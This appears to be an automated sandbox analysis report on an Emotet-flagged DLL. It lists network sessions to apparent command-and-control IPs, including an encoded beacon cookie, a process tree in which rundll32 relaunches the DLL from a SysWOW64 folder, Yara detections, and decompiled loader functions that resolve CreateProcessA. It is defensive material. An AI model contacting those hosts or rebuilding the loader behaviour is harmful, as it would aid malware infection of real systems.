Nov 24, 2021 16:53:13.208271980 CET	49772	7080	192.168.2.7	177.72.80.14
Nov 24, 2021 16:53:13.210916042 CET	7080	49772	177.72.80.14	192.168.2.7
Nov 24, 2021 16:53:13.213958025 CET	49772	7080	192.168.2.7	177.72.80.14
Nov 24, 2021 16:54:09.630690098 CET	49772	7080	192.168.2.7	177.72.80.14
Nov 24, 2021 16:54:09.630728006 CET	49772	7080	192.168.2.7	177.72.80.14
Nov 24, 2021 16:54:09.879400015 CET	7080	49772	177.72.80.14	192.168.2.7
Nov 24, 2021 16:54:09.882939100 CET	49772	7080	192.168.2.7	177.72.80.14

HTTP Request Dependency Graph

51.178.61.60

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.7	49751	51.178.61.60	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Direction	Data
2021-11-24 15:52:19 UTC	OUT	GET /euUFqPgNCDyXyAnWOWQLJNWJizfGCbPiK HTTP/1.1 Cookie: VkztqiHrcfJdN=ApwlpkLXHikt80ZX+rUy7QNus1UrOzvArQ2wT9a3pzG/LUBUBtVLGWZUvhWo++76HscbZaar1ecNJ2NE9drzI+WYO0CrHXBK96gsrw5gCDv1H6FDJl4E1ekAk6rTT5+tRKnKwaubeNjES2yzAZ1ahqbQap+ahvLDVY0Qeg8dZyFp/mT2xfuy2YrZ9Y4gh8SdNUmOMTIzF7OqgRdAc+m0GdjTDMrrOF8BD44A4Z4RsQ0CT4V3SWcXRNU/sbnThRJ79M/3w70CfUdRJu8qNans8M5bB4RoXwYtmb2k0+VOyCLBxVpj Host: 51.178.61.60 Connection: Keep-Alive Cache-Control: no-cache
2021-11-24 15:52:19 UTC	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 24 Nov 2021 15:52:19 GMT Content-Type: text/html Content-Length: 162 Connection: close
2021-11-24 15:52:19 UTC	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

Behavior

Click to jump to process

System Behavior

Analysis Process: loaddll32.exe PID: 3748 Parent PID: 1828

General

Start time:	16:52:07
Start date:	24/11/2021
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe "C:\Users\user\Desktop\pPX9DaPVYj.dll"
Imagebase:	0x8c0000
File size:	893440 bytes
MD5 hash:	72FCD8FB0ADC38ED9050569AD673650E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: cmd.exe PID: 3012 Parent PID: 3748

General

Start time:	16:52:07
Start date:	24/11/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe "C:\Users\user\Desktop\pPX9DaPVYj.dll",#1
Imagebase:	0x870000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 4544 Parent PID: 3748

General

Start time:	16:52:08
Start date:	24/11/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\pPX9DaPVYj.dll,Control_RunDLL
Imagebase:	0x100000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 4928 Parent PID: 3012

General

Start time:	16:52:08
Start date:	24/11/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\pPX9DaPVYj.dll",#1
Imagebase:	0x100000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000005.00000002.258654572.0000000002AA6000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 2848 Parent PID: 4544

General

Start time:	16:52:08
Start date:	24/11/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\pPX9DaPVYj.dll,Control_RunDLL
Imagebase:	0x100000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000006.00000002.261741914.000000000310A000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000006.00000003.257305049.0000000003146000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 2680 Parent PID: 4928

General

Start time:	16:52:09
Start date:	24/11/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\pPX9DaPVYj.dll",Control_RunDLL
Imagebase:	0x100000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000007.00000002.259345300.00000000028B6000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000007.00000003.258124529.00000000028B6000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 4820 Parent PID: 560

General

Start time:	16:52:10
Start date:	24/11/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff641cd0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 1340 Parent PID: 2848

General

Start time:	16:52:10
Start date:	24/11/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Vjqsuducipqiide\jbquc.oem",sMzvxqlLQp
Imagebase:	0x100000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000009.00000002.264342755.0000000002EB6000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 5192 Parent PID: 1340

General

Start time:	16:52:12
Start date:	24/11/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Vjqsuducipqiide\jbquc.oem",Control_RunDLL
Imagebase:	0x100000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 0000000B.00000002.778948976.0000000003173000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 0000000B.00000003.513585241.0000000003173000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 0000000B.00000003.328562700.0000000003173000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 0000000B.00000003.278848660.0000000003173000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 3372 Parent PID: 560

General

Start time:	16:52:17
Start date:	24/11/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff641cd0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 3272 Parent PID: 560

General

Start time:	16:52:20
Start date:	24/11/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
Imagebase:	0x7ff641cd0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 6092 Parent PID: 560

General

Start time:	16:52:21
Start date:	24/11/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
Imagebase:	0x7ff641cd0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 68 Parent PID: 560

General

Start time:	16:52:22
Start date:	24/11/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetworkService -p
Imagebase:	0x7ff641cd0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: SgrmBroker.exe PID: 1304 Parent PID: 560

General

Start time:	16:52:23
Start date:	24/11/2021
Path:	C:\Windows\System32\SgrmBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\SgrmBroker.exe
Imagebase:	0x7ff6de5a0000
File size:	163336 bytes
MD5 hash:	D3170A3F3A9626597EEE1888686E3EA6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 1020 Parent PID: 560

General

Start time:	16:52:25
Start date:	24/11/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
Imagebase:	0x7ff641cd0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 5964 Parent PID: 560

General

Start time:	16:52:35
Start date:	24/11/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff641cd0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 1000 Parent PID: 560

General

Start time:	16:52:50
Start date:	24/11/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff641cd0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 5272 Parent PID: 560

General

Start time:	16:53:08
Start date:	24/11/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff641cd0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: MpCmdRun.exe PID: 4664 Parent PID: 1020

General

Start time:	16:53:25
Start date:	24/11/2021
Path:	C:\Program Files\Windows Defender\MpCmdRun.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Imagebase:	0x7ff630340000
File size:	455656 bytes
MD5 hash:	A267555174BFA53844371226F482B86B
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 4812 Parent PID: 4664

General

Start time:	16:53:26
Start date:	24/11/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff774ee0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: rundll32.exe PID: 4544 Parent PID: 3748 rundll32.exeCOMMON

Executed Functions

Function 6EFA116B, Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 99
libraryloaderprocessCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E6EFA116B() {
				void* _v3;
				CHAR* _v8;
				_Unknown_base(*)()* _v12;
				char _v13;
				short _v15;
				intOrPtr _v19;
				intOrPtr _v23;
				char _v27;
				char _v28;
				char _v29;
				short _v31;
				intOrPtr _v35;
				intOrPtr _v39;
				char _v43;
				char _v44;
				intOrPtr _v48;
				char _v52;
				struct _PROCESS_INFORMATION _v68;
				struct _STARTUPINFOA _v136;
				struct HINSTANCE__* _t45;
				struct HINSTANCE__* _t47;
				signed char _t53;
				signed int _t54;
				signed int* _t55;
				signed int _t63;
				signed int _t65;
				signed int _t67;
				signed int _t78;

				_push(cs);
				asm("enter 0x7df0, 0xa3");
				asm("fst qword [eax-0x2f]");
				asm("loope 0x62");
				_t67 =  *((_t63 &  *(_t63 + 0x64)) - 0x74fe66af) * 0xffffffc4;
				asm("in al, dx");
				_t54 = _t65 % _t53;
				asm("loopne 0xffffffd3");
				asm("scasd");
				asm("sbb [ebp+0x2830a69e], edx");
				asm("das");
				asm("out dx, al");
				_t55 = _t54 + 1;
				asm("sbb ebx, [eax]");
				asm("adc eax, 0x7f857c52");
				asm("aad 0xf2");
				_v52 = 0x6e72656b;
				_v48 = 0x32336c65;
				asm("aam 0x65");
				asm("insb");
				_t78 = _t67 ^  *_t55;
				_v44 = 0;
				_v43 = 0x43746547;
				if(_t78 != 0) {
					_v39 = 0x616d6d6f;
					_v35 = 0x694c646e;
					_v31 = 0x656e;
					_v29 = 0x41;
					_v28 = 0;
					_v27 = 0x61657243;
					_v23 = 0x72506574;
					_v19 = 0x7365636f;
					_v15 = 0x4173;
					_v13 = 0;
					_v12 = 0;
					_v8 = 0;
				}
				asm("cld");
				 *0xc3f0a76e =  *0xc3f0a76e + 0xc3f0a76e;
				 *0xc3f0a76e =  *0xc3f0a76e + 0xc3f0a76e;
				E6EFBC640(0xc3f0a76e);
				E6EFA1426( &_v136, 0, 0x44);
				E6EFA1426( &_v68, 0, 0x10);
				_t26 =  &_v52; // 0x6e72656b
				_t45 = GetModuleHandleA(_t26);
				_t27 =  &_v43; // 0x43746547
				_v12 = GetProcAddress(_t45, _t27);
				_t47 = _t45;
				_t29 =  &_v27; // 0x61657243
				_v8 = GetProcAddress(_t47, _t29);
				if(CreateProcessA(0, _v12(), 0, 0, 1, 0, 0, 0,  &_v136,  &_v68) != 0) {
					 *0x6efe6060 = _v68.hProcess;
					E6EFBC650();
				}
				E6EFBC630();
				L9:
				goto L9;
			}

0x6efa116b
0x6efa116c
0x6efa1173
0x6efa1176
0x6efa1179
0x6efa1180
0x6efa1181
0x6efa1183
0x6efa1185
0x6efa1188
0x6efa118e
0x6efa118f
0x6efa1190
0x6efa1191
0x6efa1193
0x6efa119a
0x6efa11ad
0x6efa11b4
0x6efa11b6
0x6efa11b8
0x6efa11b9
0x6efa11bb
0x6efa11bf
0x6efa11c3
0x6efa11c6
0x6efa11cd
0x6efa11d4
0x6efa11da
0x6efa11de
0x6efa11e2
0x6efa11e9
0x6efa11f0
0x6efa11f7
0x6efa11fd
0x6efa1201
0x6efa1208
0x6efa1208
0x6efa120a
0x6efa120b
0x6efa120d
0x6efa120f
0x6efa121f
0x6efa122f
0x6efa1237
0x6efa123b
0x6efa1242
0x6efa124d
0x6efa1250
0x6efa1251
0x6efa125c
0x6efa1281
0x6efa1286
0x6efa128b
0x6efa128b
0x6efa1290
0x6efa1295
0x00000000

APIs

GetModuleHandleA.KERNEL32(kernel32), ref: 6EFA123B
GetProcAddress.KERNEL32(00000000,GetCommandLineCreateProcessA), ref: 6EFA1247
GetProcAddress.KERNEL32(?,CreateProcessA), ref: 6EFA1256
CreateProcessA.KERNELBASE(00000000,00000000,00000000,00000000,00000001,00000000,00000000,00000000,?,?,?,CreateProcessA), ref: 6EFA127C

Strings

A, xrefs: 6EFA11D9
sA, xrefs: 6EFA11F7
GetCommandLineCreateProcessA, xrefs: 6EFA1242, 6EFA1245
kernel32, xrefs: 6EFA1237, 6EFA123A

Memory Dump Source

Source File: 00000004.00000002.263267291.000000006EFA1000.00000080.00020000.sdmp, Offset: 6EFA0000, based on PE: true

Associated: 00000004.00000002.263259630.000000006EFA0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263275290.000000006EFA2000.00000020.00020000.sdmp Download File
Associated: 00000004.00000002.263336720.000000006EFC8000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263365706.000000006EFE6000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263372676.000000006EFE7000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.263392189.000000006EFFE000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263403555.000000006F001000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$CreateHandleModuleProcess
String ID: A$GetCommandLineCreateProcessA$kernel32$sA
API String ID: 1919063930-849291149
Opcode ID: abe0a9b6fa78ec0d934abfafe7e12b60f92103ac3df81dc736c7336d4fee09f9
Instruction ID: 4950dfe0f7acafdec5302b04743d20a0f1a739d555ffbb2eed0d7231b3da1da1
Opcode Fuzzy Hash: abe0a9b6fa78ec0d934abfafe7e12b60f92103ac3df81dc736c7336d4fee09f9
Instruction Fuzzy Hash: 7131BCB1D54349EFEB00DFE8C955BEEBB7AAF44B04F108449E6406F280C7B55648CB99

Uniqueness

Uniqueness Score: -1.00%

Function 6EFA1035, Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 128
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EFA1035(void* __eax, void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __fp0, void* _a1) {
				void* _v3;
				void* _v8;
				void* _v12;
				void* _v13;
				void* _v15;
				void* _v19;
				void* _v23;
				void* _v27;
				void* _v28;
				void* _v29;
				void* _v31;
				void* _v35;
				void* _v39;
				void* _v43;
				void* _v44;
				void* _v52;
				void* _v64;
				void* _v68;
				void* _v69;
				void* _v93;
				void* _v136;
				void* _t75;
				void* _t81;
				void* _t85;
				void* _t94;
				void* _t109;

				_t94 = __edi;
				_t85 = __edx;
				_t81 = __ecx;
				_t75 = __ebx;
				_t109 = __eax - 0xad9570c6;
			}

0x6efa1035
0x6efa1035
0x6efa1035
0x6efa1035
0x6efa1035

Strings

sA, xrefs: 6EFA11F7
GetCommandLineCreateProcessA, xrefs: 6EFA1242, 6EFA1245
kernel32, xrefs: 6EFA1237, 6EFA123A

Memory Dump Source

Source File: 00000004.00000002.263267291.000000006EFA1000.00000080.00020000.sdmp, Offset: 6EFA0000, based on PE: true

Associated: 00000004.00000002.263259630.000000006EFA0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263275290.000000006EFA2000.00000020.00020000.sdmp Download File
Associated: 00000004.00000002.263336720.000000006EFC8000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263365706.000000006EFE6000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263372676.000000006EFE7000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.263392189.000000006EFFE000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263403555.000000006F001000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: GetCommandLineCreateProcessA$kernel32$sA
API String ID: 0-1906453927
Opcode ID: 7f6008b7a5ab877df3a15b66e303185b01714a1712215beb4130e85757330084
Instruction ID: 45883710aa83a61fcced7341741a5e5a2022acaafc40d236d340c8d4ff4dae1f
Opcode Fuzzy Hash: 7f6008b7a5ab877df3a15b66e303185b01714a1712215beb4130e85757330084
Instruction Fuzzy Hash: 924123B1D44359EBEB10DFE8C855BEEBBB9AF45B04F108549E640AF280C3749649CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6EFA11A4, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69
libraryloaderprocessCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E6EFA11A4() {
				void* _v3;
				CHAR* _v8;
				_Unknown_base(*)()* _v12;
				char _v13;
				short _v15;
				intOrPtr _v19;
				intOrPtr _v23;
				char _v27;
				char _v28;
				char _v29;
				short _v31;
				intOrPtr _v35;
				intOrPtr _v39;
				char _v43;
				char _v44;
				intOrPtr _v48;
				char _v52;
				struct _PROCESS_INFORMATION _v68;
				struct _STARTUPINFOA _v136;
				intOrPtr* _t29;
				struct HINSTANCE__* _t33;
				struct HINSTANCE__* _t35;
				signed int* _t40;
				signed int _t48;
				signed int _t54;

				_v52 = 0x6e72656b;
				_v48 = 0x32336c65;
				asm("aam 0x65");
				asm("insb");
				_t54 = _t48 ^  *_t40;
				_v44 = 0;
				_v43 = 0x43746547;
				if(_t54 != 0) {
					_v39 = 0x616d6d6f;
					_v35 = 0x694c646e;
					_v31 = 0x656e;
					_v29 = 0x41;
					_v28 = 0;
					_v27 = 0x61657243;
					_v23 = 0x72506574;
					_v19 = 0x7365636f;
					_v15 = 0x4173;
					_v13 = 0;
					_v12 = 0;
					_v8 = 0;
				}
				asm("cld");
				 *_t29 =  *_t29 + _t29;
				 *_t29 =  *_t29 + _t29;
				E6EFBC640(_t29);
				E6EFA1426( &_v136, 0, 0x44);
				E6EFA1426( &_v68, 0, 0x10);
				_t19 =  &_v52; // 0x6e72656b
				_t33 = GetModuleHandleA(_t19);
				_t20 =  &_v43; // 0x43746547
				_v12 = GetProcAddress(_t33, _t20);
				_t35 = _t33;
				_t22 =  &_v27; // 0x61657243
				_v8 = GetProcAddress(_t35, _t22);
				if(CreateProcessA(0, _v12(), 0, 0, 1, 0, 0, 0,  &_v136,  &_v68) != 0) {
					 *0x6efe6060 = _v68.hProcess;
					E6EFBC650();
				}
				E6EFBC630();
				L7:
				goto L7;
			}

0x6efa11ad
0x6efa11b4
0x6efa11b6
0x6efa11b8
0x6efa11b9
0x6efa11bb
0x6efa11bf
0x6efa11c3
0x6efa11c6
0x6efa11cd
0x6efa11d4
0x6efa11da
0x6efa11de
0x6efa11e2
0x6efa11e9
0x6efa11f0
0x6efa11f7
0x6efa11fd
0x6efa1201
0x6efa1208
0x6efa1208
0x6efa120a
0x6efa120b
0x6efa120d
0x6efa120f
0x6efa121f
0x6efa122f
0x6efa1237
0x6efa123b
0x6efa1242
0x6efa124d
0x6efa1250
0x6efa1251
0x6efa125c
0x6efa1281
0x6efa1286
0x6efa128b
0x6efa128b
0x6efa1290
0x6efa1295
0x00000000

APIs

GetModuleHandleA.KERNEL32(kernel32), ref: 6EFA123B
GetProcAddress.KERNEL32(00000000,GetCommandLineCreateProcessA), ref: 6EFA1247
GetProcAddress.KERNEL32(?,CreateProcessA), ref: 6EFA1256
CreateProcessA.KERNELBASE(00000000,00000000,00000000,00000000,00000001,00000000,00000000,00000000,?,?,?,CreateProcessA), ref: 6EFA127C

Part of subcall function 6EFBC650: ExitProcess.KERNEL32 ref: 6EFBC657

Strings

sA, xrefs: 6EFA11F7
GetCommandLineCreateProcessA, xrefs: 6EFA1242, 6EFA1245
kernel32, xrefs: 6EFA1237, 6EFA123A

Memory Dump Source

Source File: 00000004.00000002.263267291.000000006EFA1000.00000080.00020000.sdmp, Offset: 6EFA0000, based on PE: true

Associated: 00000004.00000002.263259630.000000006EFA0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263275290.000000006EFA2000.00000020.00020000.sdmp Download File
Associated: 00000004.00000002.263336720.000000006EFC8000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.263365706.000000006EFE6000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263372676.000000006EFE7000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.263392189.000000006EFFE000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.263403555.000000006F001000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProcProcess$CreateExitHandleModule
String ID: GetCommandLineCreateProcessA$kernel32$sA
API String ID: 3220508843-1906453927
Opcode ID: 92a0d14ef75aa6fd0975dcc3a6b6ea5fcf04f3ad897b107b79c4307bbb118848
Instruction ID: cc4ede9ce3fdde6c0f020057ac37c347d987af44b761bc980843dcba3f3a3570
Opcode Fuzzy Hash: 92a0d14ef75aa6fd0975dcc3a6b6ea5fcf04f3ad897b107b79c4307bbb118848
Instruction Fuzzy Hash: 462128B5D44348EBEB10DFE4C955BEEBB7AAF44B04F108449E600BE284D7B45644CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 6EFA1167, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 67
libraryloaderprocessCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E6EFA1167() {
				intOrPtr* _t25;
				struct HINSTANCE__* _t29;
				struct HINSTANCE__* _t31;
				void* _t43;
				void* _t44;
				void* _t48;

				if(_t48 != 0) {
					 *((intOrPtr*)(_t43 - 0x23)) = 0x616d6d6f;
					 *((intOrPtr*)(_t43 - 0x1f)) = 0x694c646e;
					 *((short*)(_t43 - 0x1b)) = 0x656e;
					 *((char*)(_t43 - 0x19)) = 0x41;
					 *((char*)(_t43 - 0x18)) = 0;
					 *((intOrPtr*)(_t43 - 0x17)) = 0x61657243;
					 *((intOrPtr*)(_t43 - 0x13)) = 0x72506574;
					 *((intOrPtr*)(_t43 - 0xf)) = 0x7365636f;
					 *((short*)(_t43 - 0xb)) = 0x4173;
					 *((char*)(_t43 - 9)) = 0;
					 *(_t43 - 8) = 0;
					 *(_t43 - 4) = 0;
				}
				_t44 = _t43 + 1;
				asm("cld");
				 *_t25 =  *_t25 + _t25;
				 *_t25 =  *_t25 + _t25;
				E6EFBC640(_t25);
				E6EFA1426(_t44 - 0x84, 0, 0x44);
				E6EFA1426(_t44 - 0x40, 0, 0x10);
				_t15 = _t44 - 0x30; // 0x6e72656b
				_t29 = GetModuleHandleA(_t15);
				_t16 = _t44 - 0x27; // 0x43746547
				 *((intOrPtr*)(_t44 - 8)) = GetProcAddress(_t29, _t16);
				_t31 = _t29;
				_t18 = _t44 - 0x17; // 0x61657243
				 *((intOrPtr*)(_t44 - 4)) = GetProcAddress(_t31, _t18);
				if(CreateProcessA(0,  *((intOrPtr*)(_t44 - 8))(), 0, 0, 1, 0, 0, 0, _t44 - 0x84, _t44 - 0x40) != 0) {
					 *0x6efe6060 =  *(_t44 - 0x40);
					E6EFBC650();
				}
				E6EFBC630();
				L6:
				goto L6;
			}

0x6efa11c3
0x6efa11c6
0x6efa11cd
0x6efa11d4
0x6efa11da
0x6efa11de
0x6efa11e2
0x6efa11e9
0x6efa11f0
0x6efa11f7
0x6efa11fd
0x6efa1201
0x6efa1208
0x6efa1208
0x6efa1209
0x6efa120a
0x6efa120b
0x6efa120d
0x6efa120f
0x6efa121f
0x6efa122f
0x6efa1237
0x6efa123b
0x6efa1242
0x6efa124d
0x6efa1250
0x6efa1251
0x6efa125c
0x6efa1281
0x6efa1286
0x6efa128b
0x6efa128b
0x6efa1290
0x6efa1295
0x00000000

APIs

GetModuleHandleA.KERNEL32(kernel32), ref: 6EFA123B
GetProcAddress.KERNEL32(00000000,GetCommandLineCreateProcessA), ref: 6EFA1247
GetProcAddress.KERNEL32(?,CreateProcessA), ref: 6EFA1256
